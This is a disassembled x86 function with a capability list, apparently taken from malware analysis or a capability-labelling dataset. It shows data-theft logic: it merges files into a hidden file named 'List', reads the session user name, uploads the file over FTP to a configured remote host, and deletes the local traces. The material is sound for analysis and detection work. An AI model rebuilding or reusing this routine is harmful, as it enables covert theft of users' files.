Function at 0x1000bf10
Capabilities:
Connect to http server
Create http request
Get session user name
Send file using ftp
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004301c
mov eax, dword fs:[0]
push eax
sub esp, 0x2bc
mov eax, dword [0x10055080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 8
lea ecx, [ebp - 0x2c8]
push 1
push str.Temp
call fcn.10006ff0
sub esp, 8
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x210]
push 1
push 0x1004c6a8
call fcn.10006ff0
sub esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x158]
push 2
push str.List
call fcn.10003390
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
push ecx
lea edx, [ebp - 0xa4]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2c8]
call fcn.1000cb90
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1000c03e
nop dword [eax]
cmp dword [ebp - 0x90], 0xf
lea edx, [ebp - 0xa4]
push dword [ebp - 0x94]
cmova edx, dword [ebp - 0xa4]
lea ecx, [ebp - 0x158]
call fcn.1000cdf0
push eax
call fcn.10008480
add esp, 4
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0x2c8]
call fcn.1000cb90
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x1000bff0
push ecx
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x210]
call fcn.1000cb90
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1000c0a8
nop
cmp dword [ebp - 0x78], 0xf
lea edx, [ebp - 0x8c]
push dword [ebp - 0x7c]
cmova edx, dword [ebp - 0x8c]
lea ecx, [ebp - 0x158]
call fcn.1000cdf0
push eax
call fcn.10008480
add esp, 4
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x210]
call fcn.1000cb90
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x1000c060
lea ecx, [ebp - 0x2b8]
call fcn.10003c30
test eax, eax
jne 0x1000c0e0
mov eax, dword [ebp - 0x2c8]
lea ecx, [ebp - 0x2c8]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001dd0
lea ecx, [ebp - 0x200]
call fcn.10003c30
test eax, eax
jne 0x1000c118
mov eax, dword [ebp - 0x210]
lea ecx, [ebp - 0x210]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001dd0
lea ecx, [ebp - 0x154]
call fcn.10003c30
test eax, eax
jne 0x1000c150
mov eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x158]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001dd0
push 2
push str.List
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.Temp
call fcn.10026829
add esp, 4
mov dword [ebp - 0xa8], 0x64
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1000c1fd
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push dword [0x1005aa18]
mov edi, eax
push dword [0x1005aa14]
push 0x15
push dword [0x1005aa10]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
mov esi, eax
lea eax, [ebp - 0x74]
push 2
push eax
push str.List
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x1000c42b
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push str.List
call fcn.10026829
push 0x1004c6a8
call fcn.10026829
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x1000c238
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000c22e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000c426
push ecx
push edx
call fcn.1001a812
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
cmp ecx, 0xf
jbe 0x1000c28b
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000c281
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000c426
push ecx
push edx
call fcn.1001a812
add esp, 8
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x15c], eax
lea ecx, [ebp - 0x154]
call fcn.10002fe0
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x15c], eax
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 5
push eax
mov dword [ebp - 0xf0], vtable.std::ios_base.0
call fcn.1001a02b
mov eax, dword [ebp - 0x210]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x214], eax
lea ecx, [ebp - 0x200]
call fcn.10002fe0
mov eax, dword [ebp - 0x210]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x214], eax
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 6
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1001a02b
mov eax, dword [ebp - 0x2c8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2cc], eax
lea ecx, [ebp - 0x2b8]
call fcn.10002fe0
mov eax, dword [ebp - 0x2c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x2cc], eax
lea eax, [ebp - 0x258]
mov dword [ebp - 4], 7
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1001a02b
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001a7cf
mov esp, ebp
pop ebp
ret
call fcn.10021517
push str.List
call fcn.10026829
add esp, 4
call fcn.1000b970
int3